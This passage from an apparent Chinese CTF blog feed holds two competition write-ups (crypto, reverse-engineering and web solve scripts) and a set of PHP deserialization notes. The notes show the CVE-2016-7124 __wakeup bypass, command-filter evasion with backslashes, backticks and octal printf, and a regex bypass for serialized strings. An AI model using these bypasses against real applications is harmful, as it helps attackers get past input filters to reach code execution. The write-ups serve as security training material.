class="hljs-number">0</span>]) + <span class="hljs-built_in">chr</span>(key_l3[<span class="hljs-number">1</span>]) + <span class="hljs-built_in">chr</span>(key_l3[<span class="hljs-number">2</span>])<br>        <span class="hljs-built_in">print</span>(key)<br>        cipher = AES.new(key.encode(), AES.MODE_ECB)<br>        encode_text = base64.b64decode(<span class="hljs-string">&#x27;patCICFf4hK+vmHQaDhaqn+j+/dHGsfkoky0TUDjSsVOe/PQcEgznf9F65BgH5Ek&#x27;</span>)<br>        <span class="hljs-keyword">try</span>:<br>            plain_text = cipher.decrypt(encode_text).decode()<br><br>            <span class="hljs-built_in">print</span>(plain_text)<br>            <span class="hljs-keyword">break</span><br>        <span class="hljs-keyword">except</span>:<br>            <span class="hljs-keyword">continue</span><br><span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&quot;__main__&quot;</span>:<br>    main()<br></code></pre></td></tr></table></figure><h2 id="WEB"><a href="#WEB" class="headerlink" title="WEB"></a>WEB</h2><h3 id="CET4"><a href="#CET4" class="headerlink" title="CET4"></a>CET4</h3><p>AI改变生活(</p><p class='item-img' data-src='/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_08.png'><img src="/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_08.png"></p><p class='item-img' data-src='/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_09.png'><img src="/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_09.png"></p><h3 id="饼干大亨"><a href="#饼干大亨" class="headerlink" title="饼干大亨"></a>饼干大亨</h3><p>DevTools本地替换得到Tip</p><p class='item-img' data-src='/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_10.png'><img src="/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_10.png"></p><p class='item-img' data-src='/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_11.png'><img src="/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_11.png"></p><p>Cookie找到myflag</p><p class='item-img' data-src='/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_12.png'><img src="/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_12.png"></p><p>全家桶</p><p class='item-img' data-src='/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_13.png'><img src="/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_13.png"></p><h2 id="REVERSE"><a href="#REVERSE" class="headerlink" title="REVERSE"></a>REVERSE</h2><h3 id="ezRE"><a href="#ezRE" class="headerlink" title="ezRE"></a>ezRE</h3><p>IDA反编译找到比较相关代码和处理代码</p><p class='item-img' data-src='/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_14.png'><img src="/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_14.png"></p><p class='item-img' data-src='/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_15.png'><img src="/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_15.png"></p><p class='item-img' data-src='/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_16.png'><img src="/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_16.png"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs python">text = <span class="hljs-string">b&#x27;ZKVJA~6e::?;;9#9qw\&quot;&gt; $$$5!x)(0*-FG\x17&#x27;</span><br>_<span class="hljs-built_in">hex</span> = <span class="hljs-number">0x571C4B11101D4246</span><br>b = _<span class="hljs-built_in">hex</span>.to_bytes(<span class="hljs-number">8</span>, byteorder=<span class="hljs-string">&#x27;little&#x27;</span>)<br>text += b<br><br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-built_in">len</span>(text)):<br>    <span class="hljs-built_in">print</span>(<span class="hljs-built_in">chr</span>(text[i] ^ i), end=<span class="hljs-string">&#x27;&#x27;</span>)<br><span class="hljs-built_in">print</span>()<br></code></pre></td></tr></table></figure><h2 id="MOBILE"><a href="#MOBILE" class="headerlink" title="MOBILE"></a>MOBILE</h2><h3 id="BabyAPK"><a href="#BabyAPK" class="headerlink" title="BabyAPK"></a>BabyAPK</h3><p>Jadx打开，发现DES加密和异或操作，key和enc在strings.xml</p><p class='item-img' data-src='/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_17.png'><img src="/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_17.png"></p><p class='item-img' data-src='/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_18.png'><img src="/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_18.png"></p><p class='item-img' data-src='/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_19.png'><img src="/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_19.png"></p><p>直接解密</p><p class='item-img' data-src='/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_20.png'><img src="/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_20.png"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-type">byte</span>[] hexToBytes(String hex) &#123;<br>    <span class="hljs-type">int</span> <span class="hljs-variable">len</span> <span class="hljs-operator">=</span> hex.length();<br>    <span class="hljs-keyword">if</span> ((len &amp; <span class="hljs-number">1</span>) != <span class="hljs-number">0</span>) &#123;<br>        <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">IllegalArgumentException</span>(<span class="hljs-string">&quot;Invalid hex length&quot;</span>);<br>    &#125;<br><br>    <span class="hljs-type">byte</span>[] out = <span class="hljs-keyword">new</span> <span class="hljs-title class_">byte</span>[len / <span class="hljs-number">2</span>];<br>    <span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> <span class="hljs-variable">i</span> <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i &lt; len; i += <span class="hljs-number">2</span>) &#123;<br>        <span class="hljs-type">int</span> <span class="hljs-variable">hi</span> <span class="hljs-operator">=</span> Character.digit(hex.charAt(i), <span class="hljs-number">16</span>);<br>        <span class="hljs-type">int</span> <span class="hljs-variable">lo</span> <span class="hljs-operator">=</span> Character.digit(hex.charAt(i + <span class="hljs-number">1</span>), <span class="hljs-number">16</span>);<br>        <span class="hljs-keyword">if</span> (hi &lt; <span class="hljs-number">0</span> || lo &lt; <span class="hljs-number">0</span>) &#123;<br>            <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">IllegalArgumentException</span>(<span class="hljs-string">&quot;Invalid hex char&quot;</span>);<br>        &#125;<br>        out[i / <span class="hljs-number">2</span>] = (<span class="hljs-type">byte</span>) ((hi &lt;&lt; <span class="hljs-number">4</span>) | lo);<br>    &#125;<br>    <span class="hljs-keyword">return</span> out;<br>&#125;<br><span class="hljs-type">String</span> <span class="hljs-variable">hex</span> <span class="hljs-operator">=</span> <span class="hljs-string">&quot;8b54a1f1ec35e82b9aa5bbb7d95949370127be0a147e653f3f950fdc1e4ec24cc5b87570cd60cab8&quot;</span>;<br><span class="hljs-type">String</span> <span class="hljs-variable">key</span> <span class="hljs-operator">=</span> <span class="hljs-string">&quot;zjtienb!&quot;</span>;<br><span class="hljs-keyword">try</span> &#123;<br>    <span class="hljs-type">byte</span>[] cipherBytes = hexToBytes(hex);<br>    <span class="hljs-type">byte</span>[] keyBytes = key.getBytes(<span class="hljs-string">&quot;UTF-8&quot;</span>);<br>    <span class="hljs-type">SecretKey</span> <span class="hljs-variable">secretKey</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">SecretKeySpec</span>(keyBytes, <span class="hljs-string">&quot;DES&quot;</span>);<br>    <span class="hljs-type">Cipher</span> <span class="hljs-variable">cipher</span> <span class="hljs-operator">=</span> Cipher.getInstance(<span class="hljs-string">&quot;DES/ECB/PKCS5Padding&quot;</span>);<br>    cipher.init(Cipher.DECRYPT_MODE, secretKey);<br>    <span class="hljs-type">byte</span>[] plainBytes = cipher.doFinal(cipherBytes);<br>    <span class="hljs-type">String</span> <span class="hljs-variable">result</span> <span class="hljs-operator">=</span>  <span class="hljs-keyword">new</span> <span class="hljs-title class_">String</span>(plainBytes, <span class="hljs-string">&quot;UTF-8&quot;</span>);<br><br>    <span class="hljs-type">StringBuilder</span> <span class="hljs-variable">decodedPart</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">StringBuilder</span>();<br>    <span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> <span class="hljs-variable">i</span> <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i &lt; result.length(); i++) &#123;<br>        decodedPart.append((<span class="hljs-type">char</span>) (result.charAt(i) ^ <span class="hljs-string">&#x27;\t&#x27;</span>));<br>    &#125;<br>    Log.d(<span class="hljs-string">&quot;DES&quot;</span>, decodedPart.toString());<br>&#125; <span class="hljs-keyword">catch</span> (Exception e) &#123;<br>    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">RuntimeException</span>(e);<br>&#125;<br></code></pre></td></tr></table></figure>]]>
    </content>
    <id>https://blog.moling.ink/articles/2025-1st-zjtie-netsec/</id>
    <link href="https://blog.moling.ink/articles/2025-1st-zjtie-netsec/"/>
    <published>2025-12-13T17:03:13.000Z</published>
    <summary>2025 年第一届浙江经贸职业技术学院经院杯网络安全竞赛 WriteUp,包含 Misc 种子文件分析与 Base64 变表解密、Crypto 凯撒密码与 AES 密钥爆破、Web Cookie 伪造与前端绕过、Reverse IDA 逆向分析、Mobile Android APK 逆向 DES 解密等题目的完整解题过程</summary>
    <title>2025 第一届 &quot;经院杯&quot; 网络安全竞赛 WP</title>
    <updated>2026-03-24T07:16:31.676Z</updated>
  </entry>
  <entry>
    <author>
      <name>Malpl3naInk</name>
    </author>
    <category term="笔记" scheme="https://blog.moling.ink/categories/%E7%AC%94%E8%AE%B0/"/>
    <category term="Web安全" scheme="https://blog.moling.ink/tags/Web%E5%AE%89%E5%85%A8/"/>
    <category term="PHP" scheme="https://blog.moling.ink/tags/PHP/"/>
    <category term="漏洞利用" scheme="https://blog.moling.ink/tags/%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/"/>
    <content>
      <![CDATA[<h2 id="wakeup-绕过"><a href="#wakeup-绕过" class="headerlink" title="__wakeup()绕过"></a>__wakeup()绕过</h2><h3 id="CVE-2016-7124"><a href="#CVE-2016-7124" class="headerlink" title="CVE-2016-7124"></a>CVE-2016-7124</h3><blockquote><p>适用于 PHP5 &lt; 5.6.25 | PHP7 &lt; 7.0.10</p></blockquote><p>具体表现为当序列化后字符串中表示对象中属性个数的数值大于实际属性数量时会跳过__wakeup()的执行</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Demo</span> </span>&#123; <br>    <span class="hljs-keyword">public</span> <span class="hljs-variable">$file</span> = <span class="hljs-string">&#x27;index.php&#x27;</span>;<br>    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"><span class="hljs-variable">$file</span></span>) </span>&#123; <br>        <span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;construct\n&quot;</span>;<br>    &#125;<br>    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>) </span>&#123; <br>        <span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;destruct\n&quot;</span>;<br>    &#125;<br>    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__wakeup</span>(<span class="hljs-params"></span>) </span>&#123; <br>        <span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;wakeup\n&quot;</span>;<br>    &#125; <br>&#125;<br><span class="hljs-title function_ invoke__">unserialize</span>(<span class="hljs-string">&#x27;O:4:&quot;Demo&quot;:1:&#123;s:4:&quot;file&quot;;s:9:&quot;index.php&quot;;&#125;&#x27;</span>);<br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs bash">E:\&gt;php unserialize.php<br>wakeup<br>destruct<br></code></pre></td></tr></table></figure><blockquote><p>修改为 <br>unserialize(‘O:4:”Demo”:<code>2</code>:{s:4:”file”;s:9:”index.php”;}’);</p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">E:\&gt;php unserialize.php<br>destruct<br></code></pre></td></tr></table></figure><h2 id="正则绕过"><a href="#正则绕过" class="headerlink" title="正则绕过"></a>正则绕过</h2><h3 id="反斜杠分割命令"><a href="#反斜杠分割命令" class="headerlink" title="反斜杠分割命令"></a>反斜杠分割命令</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs regex">/(cat|flag|tac|php|ls)/<br></code></pre></td></tr></table></figure><p>该正则用于匹配某些特定命令</p><p>在命令中添加反斜杠，命令仍然能够被正确识别</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs bash">┌──(Malpl3naInk㉿WIN-U10PUEP8DSD)-[~/CTF/temp]<br>└─$ <span class="hljs-built_in">cat</span> 01<br>001<br><br>┌──(Malpl3naInk㉿WIN-U10PUEP8DSD)-[~/CTF/temp]<br>└─$ c\at 01 <span class="hljs-comment"># 在命令中添加反斜杠</span><br>001<br><br>┌──(Malpl3naInk㉿WIN-U10PUEP8DSD)-[~/CTF/temp]<br>└─$ c/at 01 <span class="hljs-comment"># 在命令中添加正斜杠(无法识别)</span><br>-bash: c/at: No such file or directory<br><br>┌──(Malpl3naInk㉿WIN-U10PUEP8DSD)-[~/CTF/temp]<br>└─$ c\at 0\1 <span class="hljs-comment"># 在命令与参数中都添加反斜杠</span><br>001<br></code></pre></td></tr></table></figure><h3 id="内敛执行输出"><a href="#内敛执行输出" class="headerlink" title="内敛执行输出"></a>内敛执行输出</h3><p>将 <code>`&lt;command&gt;`</code> 或 <code>$&#123;&lt;command&gt;&#125;</code> 中命令的输出作为输入</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs bash">┌──(Malpl3naInk㉿WIN-U10PUEP8DSD)-[~/CTF/temp]<br>└─$ <span class="hljs-built_in">ls</span><br>01<br><br>┌──(Malpl3naInk㉿WIN-U10PUEP8DSD)-[~/CTF/temp]<br>└─$ <span class="hljs-built_in">cat</span> 01<br>001<br><br>┌──(Malpl3naInk㉿WIN-U10PUEP8DSD)-[~/CTF/temp]<br>└─$ <span class="hljs-built_in">cat</span> `<span class="hljs-built_in">ls</span>` <span class="hljs-comment"># 将 ls 命令获取的文件名 01 作为参数传入 cat 命令</span><br>001<br></code></pre></td></tr></table></figure><p>由示例可看到，命令 <code>`ls`</code> 的输出文件名 <code>01</code> 作为输入传入 <code>cat</code> 命令，结合为命令 <code>cat 01</code></p><p>此外，内敛执行还可以使用 printf 八进制命令的方式执行命令</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs bash">┌──(Malpl3naInk㉿WIN-U10PUEP8DSD)-[~/CTF/temp]<br>└─$ `<span class="hljs-built_in">printf</span> <span class="hljs-string">&quot;\154\163&quot;</span>` <span class="hljs-comment"># ls 的八进制</span><br>01<br><br>┌──(Malpl3naInk㉿WIN-U10PUEP8DSD)-[~/CTF/temp]<br>└─$ `<span class="hljs-built_in">printf</span> <span class="hljs-string">&quot;\143\141\164\40\60\61&quot;</span>` <span class="hljs-comment"># cat 01 的八进制</span><br>001<br></code></pre></td></tr></table></figure><h3 id="特征正则绕过"><a href="#特征正则绕过" class="headerlink" title="特征正则绕过"></a>特征正则绕过</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs regex">/^O:\d+/<br></code></pre></td></tr></table></figure><p>该正则会匹配序列化字符串开头是否为对象字符串 <code>O:&lt;数字&gt;</code> 开头</p><p>将序列化字符串开头改为 <code>O:+&lt;数字&gt;</code> 可以在不影响识别的情况下绕过正则匹配</p>]]>
    </content>
    <id>https://blog.moling.ink/articles/php-unserialize-series/</id>
    <link href="https://blog.moling.ink/articles/php-unserialize-series/"/>
    <published>2025-11-16T18:42:42.000Z</published>
    <summary>系统记录 PHP 反序列化漏洞利用技巧,包括 CVE-2016-7124 __wakeup() 绕过方法、命令执行中的反斜杠绕过、内敛执行输出及序列化字符串特征正则绕过等实战技巧</summary>
    <title>一些 PHP 反序列化笔记</title>
    <updated>2026-03-24T07:16:31.687Z</updated>
  </entry>
  <entry>
    <author>
      <name>Malpl3naInk</name>
    </author>
    <category term="WriteUP" scheme="https://blog.moling.ink/categories/WriteUP/"/>
    <category term="CTF" scheme="https://blog.moling.ink/tags/CTF/"/>
    <category term="比赛记录" scheme="https://blog.moling.ink/tags/%E6%AF%94%E8%B5%9B%E8%AE%B0%E5%BD%95/"/>
    <content>
      <![CDATA[<h2 id="WEB"><a href="#WEB" class="headerlink" title="WEB"></a>WEB</h2><h3 id="咋输不进去捏"><a href="#咋输不进去捏" class="headerlink" title="咋输不进去捏"></a>咋输不进去捏</h3><p>F12 直接看源码看到条件</p><p class='item-img' data-src='/articles/8th-nisc-ctf-dasctf/8th-nisc-ctf-dasctf_00.png'><img src="/articles/8th-nisc-ctf-dasctf/8th-nisc-ctf-dasctf_00.png" alt="view-source"></p><p>Burp 抓包修改输入得到 flag</p><p class='item-img' data-src='/articles/8th-nisc-ctf-dasctf/8th-nisc-ctf-dasctf_01.png'><img src="/articles/8th-nisc-ctf-dasctf/8th-nisc-ctf-dasctf_01.png" alt="burp_flag"></p><h2 id="MISC"><a href="#MISC" class="headerlink" title="MISC"></a>MISC</h2><h3 id="easySteg0"><a href="#easySteg0" class="headerlink" title="easySteg0"></a>easySteg0</h3><p>在给图片的 <code>属性 =&gt; 详细信息</code> 找到 Base64 替换表</p><p class='item-img' data-src='/articles/8th-nisc-ctf-dasctf/8th-nisc-ctf-dasctf_02.png'><img src="/articles/8th-nisc-ctf-dasctf/8th-nisc-ctf-dasctf_02.png" alt="base64_table"></p><p>通过 binwalk 找到图片文件末尾有 RAR 压缩包</p><p class='item-img' data-src='/articles/8th-nisc-ctf-dasctf/8th-nisc-ctf-dasctf_03.png'><img src="/articles/8th-nisc-ctf-dasctf/8th-nisc-ctf-dasctf_03.png" alt="binwalk_result"></p><p>使用 7-zip 打开压缩包发现 NTFS 流隐写，Base64 换表解密得到 flag</p><p class='item-img' data-src='/articles/8th-nisc-ctf-dasctf/8th-nisc-ctf-dasctf_04.png'><img src="/articles/8th-nisc-ctf-dasctf/8th-nisc-ctf-dasctf_04.png" alt="ntfs_stream_stego"></p><h2 id="CRYPTO"><a href="#CRYPTO" class="headerlink" title="CRYPTO"></a>CRYPTO</h2><h3 id="简单数学题"><a href="#简单数学题" class="headerlink" title="简单数学题"></a>简单数学题</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> libnum<br><span class="hljs-built_in">sum</span> = <span class="hljs-number">15870713655456272818998868095126610389501417235762009793315127525027164306871912572802442396878309282140184445917718237547340279497682840149930939938364752</span><br>dif = <span class="hljs-number">836877201325346306269647062252443025692393860257609240213263622058769344319275021861627524327674665653956022396760961371531780934904914806513684926008590</span><br>p = (<span class="hljs-built_in">sum</span> + dif) // <span class="hljs-number">2</span><br>q = <span class="hljs-built_in">sum</span> - p<br>n = p * q<br>phi_n = (q - <span class="hljs-number">1</span>) * (p - <span class="hljs-number">1</span>)<br>e = <span class="hljs-number">65537</span><br>c = <span class="hljs-number">24161337439375469726924397660125738582989340535865292626109110404205047138648291988394300469831314677804449487707306159537988907383165388647811395995713768215918986950780552907040433887058197369446944754008620731946047814491450890197003594397567524722975778515304899628035385825818809556412246258855782770070</span><br><br>d = <span class="hljs-built_in">pow</span>(e, -<span class="hljs-number">1</span>, phi_n)<br><br>m = <span class="hljs-built_in">pow</span>(c, d, n)<br><br>flag = libnum.n2s(m)<br>flag = flag.decode(<span class="hljs-string">&#x27;utf-8&#x27;</span>)<br><span class="hljs-built_in">print</span>(flag)<br></code></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs flag">DASCTF&#123;ok_1+1_1s_ez_so_try2goldbachs&#125;<br></code></pre></td></tr></table></figure><h3 id="AES"><a href="#AES" class="headerlink" title="AES"></a>AES</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> base64<br><span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES<br><span class="hljs-keyword">from</span> Crypto.Util.Padding <span class="hljs-keyword">import</span> unpad<br><span class="hljs-keyword">import</span> hashlib<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">decrypt_aes_cbc</span>(<span class="hljs-params">ciphertext_b64, password, iv</span>):<br>    key = hashlib.md5(password.encode()).digest()[:<span class="hljs-number">16</span>]<br><br>    cipher = AES.new(key, AES.MODE_CBC, iv.encode())<br><br>    ciphertext = base64.b64decode(ciphertext_b64)<br><br>    plaintext_padded = cipher.decrypt(ciphertext)<br>    plaintext = unpad(plaintext_padded, AES.block_size)<br><br>    <span class="hljs-keyword">return</span> plaintext.decode(<span class="hljs-string">&#x27;utf-8&#x27;</span>)<br><br><span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&quot;__main__&quot;</span>:<br>    ciphertext = <span class="hljs-string">&quot;H4vkfGfsU+qBEwaa7ea9gBkRcraMqbe4BGaxDb/9JG4zGleqT1VxyzGbDj/yuQn8&quot;</span><br>    password = <span class="hljs-string">&quot;Cryptography&quot;</span><br>    iv = <span class="hljs-string">&quot;0123456789abcdef&quot;</span><br><br>    plain = decrypt_aes_cbc(ciphertext, password, iv)<br>    <span class="hljs-built_in">print</span>(plain)<br></code></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs flag">DASCTF&#123;A3S_CBC_M0d3_1s_1nt3r3st1ng&#125;<br></code></pre></td></tr></table></figure><h3 id="base64"><a href="#base64" class="headerlink" title="base64"></a>base64</h3><p>直接 CyberChef Base64解密</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs flag">DASCTF&#123;40b90508f63bc79628b2edc775e148b9&#125;<br></code></pre></td></tr></table></figure><h2 id="REVERSE"><a href="#REVERSE" class="headerlink" title="REVERSE"></a>REVERSE</h2><h3 id="Androidtest"><a href="#Androidtest" class="headerlink" title="Androidtest"></a>Androidtest</h3><p>直接反编译安装包中的 lib 库发现只实现了一个字符串对比功能，根据字符串特征判断为 Base32 加密</p><p class='item-img' data-src='/articles/8th-nisc-ctf-dasctf/8th-nisc-ctf-dasctf_05.png'><img src="/articles/8th-nisc-ctf-dasctf/8th-nisc-ctf-dasctf_05.png" alt="IDA_libtest"></p><p>通过 jadx 打开安装包找到 Native 函数的用例</p><p class='item-img' data-src='/articles/8th-nisc-ctf-dasctf/8th-nisc-ctf-dasctf_06.png'><img src="/articles/8th-nisc-ctf-dasctf/8th-nisc-ctf-dasctf_06.png" alt="jadx_usage"></p><p>在 jadx 页面向上找到异或操作</p><p class='item-img' data-src='/articles/8th-nisc-ctf-dasctf/8th-nisc-ctf-dasctf_07.png'><img src="/articles/8th-nisc-ctf-dasctf/8th-nisc-ctf-dasctf_07.png" alt="xor_operation"></p><p>再向上找到异或所用的 length 值 44</p><p class='item-img' data-src='/articles/8th-nisc-ctf-dasctf/8th-nisc-ctf-dasctf_08.png'><img src="/articles/8th-nisc-ctf-dasctf/8th-nisc-ctf-dasctf_08.png" alt="xor_param"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> base64<br><br>a = <span class="hljs-built_in">list</span>(base64.b32decode(<span class="hljs-string">&#x27;NBWX633YNJLU2QSILZBUKSDTJVBFQRLTJVBEQ42YJFPVQ42FL5ZUKQSYJFPESX2YIVBEWUI=&#x27;</span>))<br><br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> a:<br>    <span class="hljs-built_in">print</span>(<span class="hljs-built_in">chr</span>(i ^ <span class="hljs-number">44</span>), end=<span class="hljs-string">&#x27;&#x27;</span>)<br></code></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs flag">DASCTF&#123;android_anti_and_test_is_interesting&#125;<br></code></pre></td></tr></table></figure><h2 id="AI安全"><a href="#AI安全" class="headerlink" title="AI安全"></a>AI安全</h2><h3 id="寻找可爱的小狗"><a href="#寻找可爱的小狗" class="headerlink" title="寻找可爱的小狗"></a>寻找可爱的小狗</h3><p>通过人工找出在 1006 张图片中有 6 张小猫照片</p><p class='item-img' data-src='/articles/8th-nisc-ctf-dasctf/8th-nisc-ctf-dasctf_09.png'><img src="/articles/8th-nisc-ctf-dasctf/8th-nisc-ctf-dasctf_09.png" alt="result"></p><p>按照题目要求将文件名排序后进行 MD5 计算得出flag</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs python">external = <span class="hljs-string">&#x27;26c39cf8-55fb-4899-82bc-442cf4627d95.jpg+6e17fffa-b696-4769-9b43-e0f453f8098d.jpg+7a19da17-9f4a-411b-bac7-83d2454d868a.jpg+897a3a87-dfcf-4233-8097-6bba2e6507ba.jpg+c6b1099a-d626-4cbd-94fc-32aa46ffb02b.jpg+d5117480-7943-48f8-9e79-67fdd51092d2.jpg&#x27;</span><br><br><span class="hljs-keyword">import</span> hashlib<br><br><span class="hljs-comment"># 创建md5对象</span><br>md5_obj = hashlib.md5()<br>md5_obj.update(external.encode())<br><span 